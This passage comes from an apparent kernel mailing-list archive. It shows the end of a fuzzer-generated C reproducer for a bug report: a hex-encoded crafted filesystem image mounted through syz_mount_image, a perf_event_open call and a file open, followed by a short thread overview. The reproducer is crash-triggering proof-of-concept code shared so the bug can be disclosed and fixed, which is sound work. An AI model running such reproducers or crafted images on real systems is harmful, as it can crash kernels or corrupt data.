      "\x00\x30\xc4\xd2\xfc\xbd\x19\x8a\xc6\x5c\xdb\xbc\xbb\x19\x1a\x8d\xb9\xb9"
      "\x95\xf9\xf8\xfe\x30\x56\x9c\x3d\xb7\x70\xe6\x58\xec\xa7\xcf\x67\xf9\xfd"
      "\xcc\x64\x08\x61\xe1\xcc\x63\x35\xd7\x0d\x00\x00\x00\x74\x6f\x65\xbe\x5f"
      "\xec\x09\xeb\xcc\xff\xd3\xe7\xf8\xee\x0f\xe3\xc5\xdc\xcb\xe7\x16\xce\x5e"
      "\xb8\xdd\x9f\x6e\x6d\x1f\x6b\xb4\x3f\x2f\x30\xb3\xb2\x7d\xf9\xf9\x82\xc7"
      "\x5a\xc7\x5b\xbd\x7d\xbe\x64\xfb\xf1\xd8\x4f\x9f\xdf\xf9\xe2\xcc\x9e\xe5"
      "\xed\x73\xa7\xbf\xb3\xf0\x7c\x8f\xcf\x1d\x00\x00\x00\x86\xc5\x85\x57\x5f"
      "\xfb\xf6\x73\x0b\x0b\x67\xbe\xe7\x86\x1b\x25\x37\x2e\x6d\xea\x5e\x87\xe2"
      "\x4f\xd6\x80\x14\xef\x46\xc5\x1b\x7d\xfe\xc5\x04\x00\x00\xf4\xdc\x07\xff"
      "\x78\xfb\x4f\xdf\x3f\x3e\xfd\x9b\xdb\xef\xff\x5f\x59\xff\x2e\xbd\xff\x3f"
      "\xcd\xe6\x9a\x71\x6d\xbf\x3f\xc7\x1d\xd2\xeb\x04\xd2\xfb\x00\xd6\xbc\x5f"
      "\xff\xd9\xd5\x79\x66\xca\xf6\x3b\xbf\x7a\xbf\x66\xb6\xdf\x48\x8c\x89\xac"
      "\xee\xc9\xb6\xe3\xb4\x2f\xba\x97\xee\x37\x5b\x96\xaf\xb9\xfa\x38\xe3\x25"
      "\xf9\xa6\xb2\x7c\xd3\xed\xf9\xd6\x59\xa7\x60\x34\xdb\x3f\xe5\xdb\x97\x6d"
      "\xcf\xd7\x27\x4c\xfb\xcd\x64\xdb\xf3\x75\x18\x47\xb3\x1c\x45\x96\xff\xc1"
      "\x6c\xff\x1f\x07\x00\x00\x00\x58\x71\xf4\x95\x97\xce\x1f\xbd\xf0\xea\x6b"
      "\x5f\x3b\xf7\xd2\x73\x2f\x9c\x79\xe1\xcc\xcb\xc7\x8f\xcd\x7f\x7d\xfe\xf1"
      "\xf9\xf9\x13\xf3\x47\x97\x5f\xd7\x7f\xb4\xfd\xd5\xfd\x00\x00\x00\xc0\x4e"
      "\xb4\xf2\xa2\xdf\x7e\x57\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\xc3\xab\x8e\x8f\x13\xeb\xf7\x39\x02\x00\x00\xc0\xb0\xfb"
      "\xcf\xa5\x10\xc2\x65\xb1\x4b\x63\xe5\x23\x03\xfb\x5f\x8b\x10\x42\x08\x21"
      "\x84\x58\x8e\xf1\x9e\x5f\x9f\x15\x7d\x3f\x27\xb1\x43\x62\xd2\xdc\x60\x2b"
      "\xf1\xb7\x1d\x3f\xb7\x5a\x5c\xcc\x3f\x69\x1e\x00\x00\x00\x60\x7b\xdd\xbc"
      "\xfe\xfa\xe9\xf6\x76\x8d\xcb\x45\x4f\xf3\xb5\x8e\xd6\xbc\xdd\xdc\x8a\x79"
      "\x53\xfb\xbb\x87\x7f\xfa\xf0\x52\xa4\xdd\xae\x3d\xb1\xfa\xf9\x92\xbd\x3d"
      "\xad\x86\x61\x57\xf7\xcf\xff\xc6\xf9\x47\xfb\x9c\x7f\x1d\x43\x9e\xff\xfd"
      "\x37\x7a\x9b\x7f\x32\xdd\xe8\xfa\xf7\x5f\x63\xf5\x01\x4e\x56\xcb\xfb\xe5"
      "\x1f\xfd\xeb\x91\xf6\xfc\xf7\x8d\x76\x99\x3f\x3f\xff\x67\xaa\xe5\x3f\x9c"
      "\xe5\x3f\x1c\xba\xcb\xbf\xf8\x5e\x96\xff\xd9\x6a\xf9\x1f\xc9\xf2\xef\xed"
      "\x32\xff\x9a\xf3\x3f\x5f\x2d\xff\xa3\x31\xff\xfe\x54\xcf\x43\xdd\xe6\x5f"
      "\xfd\xf8\x4f\xc4\x36\x9d\xc7\x9e\x2e\xf3\x1f\xc9\xce\xff\xf9\xd0\x6d\xfe"
      "\xec\xfc\x9b\x5d\x26\xcc\x7c\x25\xe6\x07\x80\x61\xd4\xe8\x77\x01\xdb\x24"
      "\x5d\x25\xa4\xeb\xe8\xa9\xd8\x4f\xe7\x9b\x66\x36\xf9\xab\x1f\x36\x7b\xfd"
      "\xdf\xc8\x8e\xb3\xce\x8c\xa9\x92\x74\xdc\x74\x1d\x74\x4f\xec\xa7\xeb\xa5"
      "\xe9\x2c\x6f\xb2\xd9\xfa\xa7\xb2\xe3\xdd\x51\xb1\xce\xdc\x4e\x79\x55\x49"
      "\x59\xfd\xbd\x7a\x1c\xb7\x5b\x59\xfd\x63\x35\xd7\x51\x55\x59\xfd\xe3\x35"
      "\xd7\x51\x55\x59\xfd\x13\x35\xd7\x51\x55\x59\xfd\x93\x35\xd7\x51\x55\x59"
      "\xfd\xdd\xce\x43\xfb\xad\xac\xfe\x9d\xf2\xbc\x72\x59\xfd\x53\x35\xd7\x51"
      "\x55\x59\xfd\xd3\x35\xd7\x51\x55\x59\xfd\x9b\xfd\x7f\xbc\x5f\xca\xea\xdf"
      "\x57\x73\x1d\x55\x95\xd5\x3f\xb3\xc1\x7d\x06\xe9\xff\xb6\xb2\xfa\x2b\x3e"
      "\xad\x56\xbb\xb2\xfa\x67\x6b\xae\xa3\xaa\xb2\xfa\xef\xac\xb9\x8e\xaa\xca"
      "\xea\xbf\xab\xe6\x3a\xaa\x2a\xab\xff\xee\x9a\xeb\xe8\x97\xfb\x63\x5b\x36"
      "\x1f\x4e\xf3\xcf\x99\x38\x96\xfa\xcd\xac\x3f\xb1\xce\xf7\xb2\xad\xbf\x18"
      "\x6d\xdb\x79\x00\x00\x00\x00\xe5\xfe\x6d\xfd\x3f\x31\x70\x31\x31\x00\x35"
      "\x08\xb1\x89\x68\x0c\x40\x0d\x42\x0c\x79\x2c\x35\xfd\xae\x61\x58\xe3\xbb"
      "\x7f\xe9\x7f\x0d\x35\x47\x71\xfb\x46\x4f\x8e\x35\x35\x00\xe7\x23\xb6\x35"
      "\x8a\x01\xa8\xa1\x62\x2c\x2e\xf6\xbf\x86\x4a\x31\x3e\x00\x35\x0c\x6e\xf8"
      "\x93\xfc\x70\xdb\xde\x77\x33\x03\x30\xa8\xfc\xfe\x1f\x6e\x1e\xff\xe1\xe6"
      "\xf1\x1f\x6e\x1e\x7f\x36\x92\x5e\xc3\x5f\x64\xfd\x64\xa4\xc3\xf8\x68\x87"
      "\xf1\xb1\x0e\xe3\xe3\xd9\x78\xfe\xf3\x3a\xd1\x61\xfc\xae\xec\xb8\xf9\x1b"
      "\x11\xee\xee\x30\xfe\xb9\x0e\xe3\xfb\x3a\x8c\xdf\xd3\x61\x7c\x7f\x87\xf1"
      "\x7b\x3b\x8c\xdf\xd7\x61\xfc\xfe\x0e\xe3\x00\x00\x00\x0c\x87\xcf\xc7\xd6"
      "\xfc\x10\x00\x00\x00\x76\xaf\x8b\x3f\xff\xf0\x87\xbf\x3c\xfc\xec\xf5\xd9"
      "\x1b\x57\x0f\x9c\x0c\xe3\x6b\xd6\x9d\x3f\x16\xfb\x13\xf1\x6f\xeb\x57\x62"
      "\x3f\x5f\xf7\x3e\x19\x8b\x7f\xf3\xff\x41\xec\xff\x2c\xb6\xbf\x8d\xed\xdf"
      "\xb3\xfd\xbd\xfe\x04\x00\x00\x00\xb6\x5f\xfa\x9c\x18\x7f\xff\x07\x00\x00"
      "\x80\xdd\x2b\x7d\x4e\xa9\xf9\x3f\x00\x00\x00\xec\x5e\xb3\xb1\x35\xff\x07"
      "\x00\x00\x80\xdd\xeb\xce\xd8\x9a\xff\x03\x00\x00\xc0\x2e\x56\x4c\xae\xbf"
      "\x39\xb6\xe9\x79\x81\x07\x63\xdb\xed\xba\x7e\x00\xc0\xe0\xfb\x42\x6c\x1f"
      "\x88\xed\x81\xd8\x1e\x8c\xed\x17\x63\x9b\xae\x03\x1e\x8a\xed\x97\x6a\xaa"
      "\x0f\x00\xe8\x9d\x9f\x7c\xeb\xcd\xc7\xdf\x2a\x56\xd6\xfb\x3f\x9e\x8d\xdf"
      "\x8c\xdb\x53\xbb\xc6\xe5\xdb\xcf\x14\x14\x8d\xd5\x2b\xf9\xef\x89\xed\xde"
      "\xd8\x3e\xdc\x65\x3d\xf9\xe7\x01\x74\x9b\x3f\xd9\xd7\x65\x9e\xed\xca\x3f"
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\xc0\xee\xd1\x58\xfe\x7a\xe2\xc4\xfe\x22\x84"
      "\x77\x3e\x7a\xfb\xd4\xcc\xc5\x53\x2f\x2c\x6d\x3b\xd8\xda\xe3\xd0\xf2\xd7"
      "\x22\xf6\x9a\x21\x84\xb1\xd6\xfd\xd2\xe8\x4a\xff\x17\x71\xc7\x9b\xd7\x5f"
      "\x3f\xbd\xd4\xde\x8a\xed\x62\x6c\x8b\x30\x1f\x8a\x50\xb4\xc6\xc3\xd3\xd7"
      "\x5a\x99\xa6\x42\x08\x97\xc3\xa1\xf0\x71\x68\x86\x83\x47\x9a\x9f\x5d\x19"
      "\x79\xea\xec\x07\xef\x7e\x72\xf8\xe2\xf9\x27\x5f\xdc\xc6\x6f\x01\x00\x00"
      "\x00\xec\x7a\xff\x0f\x00\x00\xff\xff\xcf\x9f\x35\x89",
      3919);
  syz_mount_image(
      /*fs=*/0x20000ec0, /*dir=*/0x200000c0,
      /*flags=MS_LAZYTIME|MS_SYNCHRONOUS|MS_SILENT|MS_NODEV|MS_MANDLOCK*/
      0x2008054, /*opts=*/0x20000040, /*chdir=*/1, /*size=*/0xf4f,
      /*img=*/0x20001580);
  *(uint32_t*)0x200003c0 = 2;
  *(uint32_t*)0x200003c4 = 0x80;
  *(uint8_t*)0x200003c8 = 0xe0;
  *(uint8_t*)0x200003c9 = 9;
  *(uint8_t*)0x200003ca = 0;
  *(uint8_t*)0x200003cb = 0;
  *(uint32_t*)0x200003cc = 0;
  *(uint64_t*)0x200003d0 = 0;
  *(uint64_t*)0x200003d8 = 0x80000;
  *(uint64_t*)0x200003e0 = 0;
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 0, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 1, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 2, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 3, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 4, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 5, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 6, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 7, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 8, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 9, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 10, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 11, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 12, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 13, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 14, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 15, 2);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 17, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 18, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 19, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 20, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 21, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 22, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 23, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 24, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 25, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 26, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 27, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 28, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 29, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 30, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 31, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 32, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 33, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 34, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 35, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 36, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 37, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 38, 26);
  *(uint32_t*)0x200003f0 = 0;
  *(uint32_t*)0x200003f4 = 0;
  *(uint64_t*)0x200003f8 = 6;
  *(uint64_t*)0x20000400 = 3;
  *(uint64_t*)0x20000408 = 0;
  *(uint64_t*)0x20000410 = 0;
  *(uint32_t*)0x20000418 = 0x80000000;
  *(uint32_t*)0x2000041c = 0;
  *(uint64_t*)0x20000420 = 0;
  *(uint32_t*)0x20000428 = 0x5e;
  *(uint16_t*)0x2000042c = 9;
  *(uint16_t*)0x2000042e = 0;
  *(uint32_t*)0x20000430 = 0;
  *(uint32_t*)0x20000434 = 0;
  *(uint64_t*)0x20000438 = 0x1000;
  syscall(__NR_perf_event_open, /*attr=*/0x200003c0ul, /*pid=*/0, /*cpu=*/-1,
          /*group=*/-1,
          /*flags=PERF_FLAG_FD_CLOEXEC|PERF_FLAG_FD_OUTPUT*/ 0xaul);
  memcpy((void*)0x20007f80, "./bus\000", 6);
  syscall(__NR_open, /*file=*/0x20007f80ul,
          /*flags=O_SYNC|O_NOCTTY|O_NOATIME|O_DIRECT|O_CREAT|0x2*/ 0x145142ul,
          /*mode=*/0ul);
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  const char* reason;
  (void)reason;
  loop();
  return 0;
}

             reply	other threads:[~2024-09-04  2:05 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2024-09-04  2:05 Ubisectech Sirius [this message]
2024-09-04  3:30 ` Ryusuke Konishi
2024-09-04  6:42   ` 回复:general " Ubisectech Sirius

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